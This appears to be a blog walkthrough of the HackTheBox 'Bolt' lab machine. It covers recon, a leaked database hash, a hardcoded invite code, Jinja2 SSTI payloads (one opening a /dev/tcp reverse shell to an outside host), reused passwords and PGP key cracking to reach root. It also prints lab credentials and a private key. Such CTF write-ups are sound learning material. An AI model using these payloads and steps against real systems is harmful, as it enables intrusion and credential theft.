Bolt HackTheBox
Bolt Machine(10.10.11.114)
It was a nice machine with some info leaks in source code of downloadable. And then Exploiting SSTI for foothold and cracking pgp keys for getting root.
Recon:
- strating port scan
rustscan -a 10.10.11.114 -u 5000 -- -A
we get 3 open ports
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 76362BB7970721417C5F484705E5045D
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Starter Website - About
443/tcp open ssl/http syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 82C6406C68D91356C9A729ED456EECF4
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Issuer: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-24T19:11:23
| Not valid after: 2022-02-24T19:11:23
| MD5: 3ac3 4f7c ee22 88de 7967 fe85 8c42 afc6
| SHA-1: c606 ca92 404f 2f04 6231 68be c4c4 644f e9ed f132
| -----BEGIN CERTIFICATE-----
| MIIDozCCAougAwIBAgIUWYR6DcMDhx5i4CpQ5qkkspuUULAwDQYJKoZIhvcNAQEL
| BQAwYTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
| GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEaMBgGA1UEAwwRcGFzc2JvbHQuYm9s
| dC5odGIwHhcNMjE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gE=
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- From the ssl cert name add bolt.hbt & passbolt.bolt.htb to /etc/hosts file.
-
Vhost fuzzing gives two new domain mail & demo . Add them also to hosts file
ffuf -u http://bolt.htb/ -w ~/wordlist/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.bolt.htb" -fs 30347
Foothold: Info leak
Admin Panel Access on bolt.htb
-
From bolt.htb/download page download the tar file, and extract it using
tar -xvf image.tar
. -
You will get a lot of files from here you will have to manually extract layer.tar file in each directory and look for useful infomration. Toughest thing about this box was this.
-
Now in direcoty a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 you will get db.sqllite3 file and let's connect to this database.
-
Now we can crack this hash easily using hashcat. I recommend watching this video of superhero1 if you don't have strong pc to crack hashes. he shows how you can use google colab to crack hashes on cloud and i loved this personally, it's superfast.
hashcat -m 500 hash wordlist/rockyou.txt
Output:
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.:deadbolt
- Login into admin dashboard with admin:deadbolt
Creating account on demo.bolt.htb
- On demo.bolt.htb go to register page. You will see it needs and INVITE_KEY to create an account. Poking aroung in tar file we downloaded you will get invote key also in 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer/app/base/routes.py
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email' ]
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:.
return render_template( 'accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form)
- Now using this key i created an account with creds newrouge:newrouge on demo.bolt.htb. Now this demo website gives us similar web page after login as we got from bolt.htb dashboard, just with lot more features.
- You can also login to your mail account on mail.bolt.htb with same creds. Looks like application automatically created this for you.
- Now there is feature in demo which was not in admin dashboard on bolt. You can edit your profile.
- let's edit our profile here
- You will notice that you got an email regarding profile update in mail.bolt.htb.
- Click the link you will be redirected to your dasboard but keep an eye on mail and you will see that you get an new email with name update notifications.
-
Now as my payload
<h1>mango</h1>
got fired it confirms there is HTML injection and xss on mail.bolt.htb from payload injected on demo.bolt.htb name field. But this is of not much use. As it's a python application let's go towards SSTI. -
Add
{{7*7}}
to name field and update it. As expected it's reflected as 49.
-
We can execute command on this by climbing up to base class of current object and then accessing popen subclass. i have explained this in detail in this blogspot.
-
Using this payload we got code execution:
{{ ''.__class__.__mro__[1].__subclasses__()[222]("id", shell=True, stdout=-1).communicate() }}
- Get a reverse shell with this paylaod
{{ ''.__class__.__mro__[1].__subclasses__()[222]("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.165/8084 0>&1'", shell=True, stdout=-1).communicate() }}
- If your reverse shell keeps dying after some time, use setsid command before reverse shell as it starts process in new session.
Lateral movement: Password reuse
- After looking around for passwords i got 2 password bolt_dba : dXUUHSW9vBpH5qRB & roundcubeuser:WXg5He2wHt4QYHuyGET. but none of them is reused anywhere you can login into databases with them. Now looking at /etc/nginx/sites-enabled/nginx-passbolt.conf
root /usr/share/php/passbolt/webroot;
index index.php;
#error_log /var/log/nginx/passbolt-error.log info;
access_log /var/log/nginx/passbolt-access.log;
# Managed by Passbolt
include /etc/passbolt/nginx-ssl.conf;
location / {
try_files $uri $uri/ /index.php?$args;
}
- searching through passwords in /usr/share/php/passbolt/webroot fot nothing then finally we get something in /etc/passbolt.
cat /etc/passbolt/passbolt.php
// Database configuration.
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
- You can use this password to login as eddie via ssh not su eddie.
Privilege escalation: Cracking PGP keys
- Now when you ssh, you get a notification that you got a mail. And mails are in /var/mail/. Read eddie's mail .
From clark@bolt.htb Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...
-Clark
- clark talks about some private keys, we have seen gpg all over the box it maybe pgp keys. Also there is mention of browser. If you will run linpeas on machine you will see that some google-chrome extension is lyting in eddie's .config directory.
- When you log into mysql as passbolt you also see some pgp encrypted message in secrets table.
-
Copy that your machine, we will need pgp keys to decrypt this message. Let's search through google-chrome folder. Had to take some help in discord server to find that.
-
Now you can grep for "PGP PRIVATE KEY" in that folder and this is the file you want
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log
- Now read this file and copy paste pgp private keys from there. You have to reformat the line break to bring key in correct format.
- correct formatted pgp private key
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU
+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/U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YZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
- Now you can decrypt the message by this command
gpg -d message
. But you will get an error, no secret key, you will need to first import the private key into gpg. - We also need to crack this gpg private key,I used ubuntu's john-the-ripper.gpg2john for that.
john-the-ripper.gpg2john private_key > hash
.- Now we can crack this hash with john-the-ripper. For some reason i couldn't crack it again. As john-the-ripper won't crack it agian. I got a solution i removed john-the-ripper and installed it again and now it was brand new and cracked it.
- Let's import the pgp key.
gpg --import private.key
. Enter the password merrychristmas. - Decrypt the message recovered from database.
gpg -d message
. It will aks for password again.
gpg: encrypted with 2048-bit RSA key, ID F65CA879A3D77FE4, created 2021-02-25
"Eddie Johnson <eddie@bolt.htb>"
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}gpg: Signature made Saturday 06 March 2021 09:03:54 PM IST
gpg: using RSA key 1C2741A3DC3B4ABD
gpg: Good signature from "Eddie Johnson <eddie@bolt.htb>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF42 6BC7 A4A8 AF58 E50E DA0E 1C27 41A3 DC3B 4ABD
- It gives a password. which doesn't authenticate as clark and doesn't ssh as root also. But you can do su root with this password and we got finally root on this box.
Thank you and feedbacks are welcome :)
Twitter: Avinashkroy
Comments
Post a Comment